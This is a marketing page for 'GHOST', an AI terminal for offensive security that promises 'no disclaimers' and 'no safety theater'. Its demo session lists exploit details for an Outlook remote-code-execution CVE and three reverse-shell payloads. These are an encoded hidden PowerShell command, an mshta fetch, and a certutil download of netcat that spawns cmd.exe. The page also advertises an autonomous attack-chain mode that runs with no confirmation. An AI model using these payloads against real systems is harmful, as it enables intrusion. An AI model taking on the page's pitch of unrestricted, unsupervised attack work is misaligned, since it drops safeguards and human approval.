VERSION 2.0.0 · PRIVATE BUILD
GHOST
AI terminal built for people who already know what they're doing.
VPN-ENFORCED · ZERO CLOUD LOGS · NO SAFETY THEATER
one-time · instant download · 18.3MB · windows / linux / wsl2
PRIVATE▸
DANGEROUS▸
ELITE▸
VPN-ENFORCED▸
ZERO LOGS▸
NO TELEMETRY▸
DEEPSEEK R1▸
OFFENSIVE SECURITY▸
PRIVATE▸
DANGEROUS▸
ELITE▸
VPN-ENFORCED▸
ZERO LOGS▸
NO TELEMETRY▸
DEEPSEEK R1▸
OFFENSIVE SECURITY▸
OPERATOR INTERFACE
ghost> /mode exploit
[EXPLOIT] mode armed — deepseek r1 routing
ghost> /exploit CVE-2024-21413
// CVE-2024-21413 — Microsoft Outlook RCE (CVSS 9.8)
// Attack vector: NETWORK / No auth required / User interaction: minimal
// PoC: preview pane triggers — crafted mailto: href with UNC path
// MITRE: T1566.001 Spearphishing · T1059.003 Windows Command Shell
→ msf module: exploit/windows/email/outlook_rce_2024_21413
ghost> /revshell 10.10.14.5 4444 windows
// [1] powershell -NoP -NonI -W Hidden -Exec Bypass -Enc [BASE64]
// [2] mshta http://10.10.14.5/shell.hta
// [3] certutil -urlcache -f http://10.10.14.5/nc.exe nc.exe && nc.exe -e cmd.exe ...
→ 3 payloads generated · copied to clipboard
CAPABILITIES
Everything an operator needs.
Nothing they don't.
No disclaimers. No safety theater. Full output on every query.
01 //
Smart Model Routing
Detects CVE, shellcode, lateral movement keywords and auto-escalates to DeepSeek R1 thinking mode. Simple queries stay on the fast model. Zero config.
02 //
20+ Specialist Modes
Exploit, CTF, AD, Cloud, Web, Privesc, Forensics, Binary, OSINT, Recon, Detection, Container, Threat Model — each with tuned system prompts and model selection.
03 //
Autonomous Agent Loop
OODA loop attack chains. Ghost reasons, proposes commands, you approve. Each step feeds the next. Run with --auto for zero-confirm operation.
04 //
Engagement Memory
Persistent engagement logs across sessions. Targets, creds, findings — all stored locally at ~/.ghost/. Compile full pentest reports with /report.
05 //
Threat Intel Built-In
/intel queries Shodan, AbuseIPDB, VirusTotal, GreyNoise, and OTX in parallel. IP reputation, domain intel, hash lookup — one command.
06 //
VPN-Enforced Launch
Ghost won't start without an active VPN tunnel. Kill switch support. Zero telemetry. Nothing leaves your machine except the inference API call.
20+
SPECIALIST MODES
R1
DEEPSEEK THINKING
0
CLOUD LOGS
18MB
SINGLE BINARY
OPERATOR MODES
Lock in. Go deep.
Type /mode in any session to switch context. Ghost re-routes the model and system prompt automatically.
/exploit CVE chains + TTPs
/ctf pwn · web · crypto
/ad Kerberoast · DCSync
/cloud AWS · Azure · GCP
/web OWASP Top 10
/privesc Linux + Windows
/binary ROP · heap · ELF/PE
/forensics Volatility · disk
/detect Sigma · YARA · KQL
/container Docker escape
/recon nmap · enumeration
/osint infra · personnel
/threat STRIDE · ATT&CK
/crypto classical + modern
/script Python · Bash
/agent autonomous chains
ACCESS
One payment. Yours forever.
No subscription. No seat limits. Updates included.
$29
ONE-TIME · INSTANT DOWNLOAD · FREE UPDATES
- ghost.exe binary — Windows / Linux / WSL2
- All 20+ specialist modes unlocked
- DeepSeek R1 + V3 dual-model routing
- Autonomous agent mode (OODA loop)
- Engagement logs + /report generation
- Offline mode via local Ollama
- Threat intel integrations (Shodan, VT, etc.)
- All future updates at no extra cost